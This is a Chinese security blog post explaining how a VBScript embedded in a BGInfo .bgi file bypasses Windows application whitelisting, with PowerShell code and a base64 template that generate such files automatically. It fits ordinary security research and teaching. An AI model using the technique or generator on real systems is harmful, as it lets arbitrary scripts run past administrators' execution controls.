當前位置:
首頁 > 新聞 > 如何利用BGInfo繞過應用程序白名單?

如何利用BGInfo繞過應用程序白名單?

0x00 前言

最近看到一篇有趣的文章《Bypassing Application Whitelisting with BGInfo》,介紹了如何通過BGInfo實現白名單繞過,我對此很感興趣,於是對這部分內容做了學習整理,同時開源了一個powershell腳本,用於自動生成.bgi文件

文章地址如下:https://msitpros.com/?p=3831

0x01 簡介

本文將要介紹如下內容:

Bginfo簡介

通過Bginfo繞過白名單的實際操作

如何使用powershell編輯二進位文件

如何開發powershell腳本自動生成.bgi文件

0x02 Bginfo

Bginfo—強大的Windows系統信息顯示工具,出自Sysinternals套件

下載地址:

https://technet.microsoft.com/en-us/sysinternals/bb897557.aspx

註:

bginfo.exe最新版本為4.22,本文測試版本為4.21

1、簡介

可以自動在桌面的一個區域中顯示當前Windows環境信息

面板如圖

設置後,桌面顯示Windows環境信息,如圖

2、Bginfo命令行模式

/h 彈出幫助

如圖

通過命令行設置桌面顯示信息的命令如下:

bginfo.exe config.bgi /timer:0 /nolicprompt /silent

3、擴展:

點擊Custom可自定義桌面顯示內容,如圖

選擇New

設置數據源,包括環境變數、註冊表鍵值、WMI、文件、VB Script腳本

4、導入WMI查詢:

添加一個WMI查詢,如圖

在面部添加顯示內容,修改桌面,成功顯示新內容,如圖

5、導入VBS:

添加一個vbs查詢,vbs腳本可參考:

該vbs腳本實現:

啟動cmd.exe

在桌面輸出:」Does not matter what this says」

如圖

整個啟動過程還可在cmd下實現

(1) 將上述bgi工程保存為vbs.bgi

(2) cmd:

bginfo.exe vbs.bgi /timer:0 /nolicprompt /silent

6、bginfo.exe和vbs.bgi可以放在遠程伺服器,通過網路共享訪問執行

cmd:WIN-FVJLPTISCFEtestbginfo.exe WIN-FVJLPTISCFEtesttest1.bgi /timer:0 /nolicprompt /silent

完整操作如圖

GIF/23K

0x03 通過Bginfo繞過白名單

完整過程如下:

1、啟動bginfo.exe,添加導入vbs腳本功能,設置vbs腳本路徑,去掉桌面顯示內容

2、將bgi工程保存為.bgi文件

3、命令行執行代碼:

bginfo.exe vbs.bgi /timer:0 /nolicprompt /silent

註:

bginfo.exe的版本需要低於4.22,版本4.22已經修復上述問題

看起來遵循一定的格式,那麼能否通過powershell腳本實現自動生成.bgi文件呢?

0x04 bgi文件格式

通過文件比較來猜測bgi文件格式

分別設置不同的vbs路徑,對比差別,如圖

大膽猜測:

註:

0x05 如何使用powershell編輯二進位文件

使用powershell讀寫文件,最常用的方式為:

然而,對於不是txt的文件,如果存在特殊字元,通過以上方法會出現bug,自動過濾特殊字元串,導致長度不同,內容出錯

讀寫二進位文件方法:

讀二進位文件:

[System.IO.File]::ReadAllBytes( 1.txt )

寫二進位文件:

[System.IO.File]::WriteAllBytes("1.txt",$fileContentBytes)

修改二進位文件:

代碼如下:

$fs=new-object io.filestream "test1.bgi",open$fs.seek(0,2)$fs.writebyte(0x00)$fs.flush()$fs.close()

參數說明:

$fs=new-object io.filestream 「test1.bgi」,open:

open表示追加,createnew表示新建

$fs.seek(0,2):

第一個參數表示偏移

第二個參數:0表示以文件開頭作為起點,1表示以當前位置作為起點,2表示以文件末尾作為起點

0x06 編寫powershell腳本實現自動生成.bgi文件

開發思路:

對變數$fileContent作base64解碼,寫入新文件test1.bgi

使用追加方式向文件依次寫入標誌位,vbs路徑和其他填充位

流程如下:

關鍵代碼如下:

powershell代碼:

$fileContent = [System.IO.File]::ReadAllBytes( 1.bgi )$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("buffer.txt")

生成buffer.txt,內容如下:

CwAAAEJhY2tncm91bmQABAAAAAQAAAAAAAAACQAAAFBvc2l0aW9uAAQAAAAEAAAA/gMAAAgAAABNb25pdG9yAAQAAAAEAAAAXAQAAA4AAABUYXNrYmFyQWRqdXN0AAQAAAAEAAAAAQAAAAsAAABUZXh0V2lkdGgyAAQAAAAEAAAAwHsAAAsAAABPdXRwdXRGaWxlAAEAAAASAAAAJVRlbXAlXEJHSW5mby5ibXAACQAAAERhdGFiYXNlAAEAAAABAAAAAAwAAABEYXRhYmFzZU1SVQABAAAABAAAAAAAAAAKAAAAV2FsbHBhcGVyAAEAAAABAAAAAA0AAABXYWxscGFwZXJQb3MABAAAAAQAAAACAAAADgAAAFdhbGxwYXBlclVzZXIABAAAAAQAAAABAAAADQAAAE1heENvbG9yQml0cwAEAAAABAAAAAAAAAAMAAAARXJyb3JOb3RpZnkABAAAAAQAAAAAAAAACwAAAFVzZXJTY3JlZW4ABAAAAAQAAAABAAAADAAAAExvZ29uU2NyZWVuAAQAAAAEAAAAAAAAAA8AAABUZXJtaW5hbFNjcmVlbgAEAAAABAAAAAAAAAAOAAAAT3BhcXVlVGV4dEJveAAEAAAABAAAAAAAAAAEAAAAUlRGAAEAAADvAAAAe1xydGYxXGFuc2lcYW5zaWNwZzkzNlxkZWZmMFxkZWZsYW5nMTAzM1xkZWZsYW5nZmUyMDUye1xmb250dGJse1xmMFxmbmlsXGZjaGFyc2V0MTM0IEFyaWFsO319DQp7XGNvbG9ydGJsIDtccmVkMjU1XGdyZWVuMjU1XGJsdWUyNTU7fQ0KXHZpZXdraW5kNFx1YzFccGFyZFxmaS0yODgwXGxpMjg4MFx0eDI4ODBcY2YxXGxhbmcyMDUyXGJccHJvdGVjdFxmMFxmczI0IDx2YnM+XHByb3RlY3QwXHBhcg0KXHBhcg0KfQ0KAAALAAAAVXNlckZpZWxkcwAAgACAAAAAAAQAAAB2YnMAAQAAAA==

將其保存在變數$fileContent中,解密並寫入文件test1.bgi

$fileContent = "CwAAAEJhY2tncm91bmQABAAAAAQAAAAAAAAACQAAAFBvc2l0aW9uAAQAAAAEAAAA/gMAAAgAAABNb25pdG9yAAQAAAAEAAAAXAQAAA4AAABUYXNrYmFyQWRqdXN0AAQAAAAEAAAAAQAAAAsAAABUZXh0V2lkdGgyAAQAAAAEAAAAwHsAAAsAAABPdXRwdXRGaWxlAAEAAAASAAAAJVRlbXAlXEJHSW5mby5ibXAACQAAAERhdGFiYXNlAAEAAAABAAAAAAwAAABEYXRhYmFzZU1SVQABAAAABAAAAAAAAAAKAAAAV2FsbHBhcGVyAAEAAAABAAAAAA0AAABXYWxscGFwZXJQb3MABAAAAAQAAAACAAAADgAAAFdhbGxwYXBlclVzZXIABAAAAAQAAAABAAAADQAAAE1heENvbG9yQml0cwAEAAAABAAAAAAAAAAMAAAARXJyb3JOb3RpZnkABAAAAAQAAAAAAAAACwAAAFVzZXJTY3JlZW4ABAAAAAQAAAABAAAADAAAAExvZ29uU2NyZWVuAAQAAAAEAAAAAAAAAA8AAABUZXJtaW5hbFNjcmVlbgAEAAAABAAAAAAAAAAOAAAAT3BhcXVlVGV4dEJveAAEAAAABAAAAAAAAAAEAAAAUlRGAAEAAADvAAAAe1xydGYxXGFuc2lcYW5zaWNwZzkzNlxkZWZmMFxkZWZsYW5nMTAzM1xkZWZsYW5nZmUyMDUye1xmb250dGJse1xmMFxmbmlsXGZjaGFyc2V0MTM0IEFyaWFsO319DQp7XGNvbG9ydGJsIDtccmVkMjU1XGdyZWVuMjU1XGJsdWUyNTU7fQ0KXHZpZXdraW5kNFx1YzFccGFyZFxmaS0yODgwXGxpMjg4MFx0eDI4ODBcY2YxXGxhbmcyMDUyXGJccHJvdGVjdFxmMFxmczI0IDx2YnM+XHByb3RlY3QwXHBhcg0KXHBhcg0KfQ0KAAALAAAAVXNlckZpZWxkcwAAgACAAAAAAAQAAAB2YnMAAQAAAA=="$fileContentBytes = [System.Convert]::FromBase64String($fileContent) [System.IO.File]::WriteAllBytes("test1.bgi",$fileContentBytes)

標誌位計算:

$VbsPath="C:test1.vbs"$Length=$VbsPath.Length+2

寫入長度標誌位+空閑填充位

$fs=new-object io.filestream "test1.bgi",open$fs.seek(0,2)$fs.writebyte($Length)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x34)$fs.flush()$fs.close()

追加寫入vbs腳本路徑:

$VbsPath | Out-File -Encoding ascii -Append test1.bgi

存在冗餘數據0D0A,所以偏移應該為-2,寫入空閑填充位:

$fs=new-object io.filestream "test1.bgi",open$fs.seek(-2,2)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x01)$fs.writebyte(0x80)$fs.writebyte(0x00)$fs.writebyte(0x80)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.writebyte(0x00)$fs.flush()$fs.close()

完整代碼已上傳至github:

https://github.com/3gstudent/bgi-creater

完整操作如圖

GIF/167K

0x07 小結

本文介紹了通過BGInfo實現白名單繞過的方法,同時介紹了通過powershell編輯二進位文件的方法,開源了一個powershell生成.bgi文件的腳本,希望能夠幫助大家

點擊展開全文

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

花170美元,我了解了消費級間諜軟體的世界
解密美國神秘部門的無限制搜查令:「國家安全信函」
CVE-2017-7494緊急預警:Samba蠕蟲級提權漏洞,攻擊代碼已在網上擴散
利用lk-reducer進行Linux內核審計監控文件訪問
2017年上半年最受矚目的黑客事件,你知道幾個?

TAG:嘶吼RoarTalk |

您可能感興趣

如何使用cycript繞過應用程序的PIN保護
使用 cycript 繞過應用程序的 PIN 保護
如何利用Webhooks繞過支付環節
利用metasploit繞過UAC的5種方式
如何利用PowerShell診斷腳本執行命令並繞過AppLocker
如何繞過Web應用程序防火牆?
如何繞過 Web 應用程序防火牆?
如何繞過並利用Bucket的上傳策略和URL簽名
如何利用Struts2漏洞繞過防火牆獲取Root許可權
NodeJS應用程序身份驗證繞過漏洞分析
看我如何利用Webhook繞過支付請求
如何使用Apple News Plus訂閱來繞過付費牆
Facebook、谷歌繞過APP Store收集用戶信息,蘋果竟放小扎一馬
自動化系統再次繞過Google reCAPTCHA
BUG仍未修復:iPhone XS可被繞過鎖屏獲取照片
iPhone XS可被未修復BUG繞過鎖屏獲取照片
利用macOS High Sierra漏洞以虛擬點擊就能繞過安全機制
WhatsApp發現隱私漏洞,允許用戶繞過iOS端的Touch ID或Face ID
安全公司Certfa Lab指出,黑客可繞過雙重認證盜取Gmail或Yahoo賬戶
Grayshift或已找到繞過iOS12 USB限制模式方法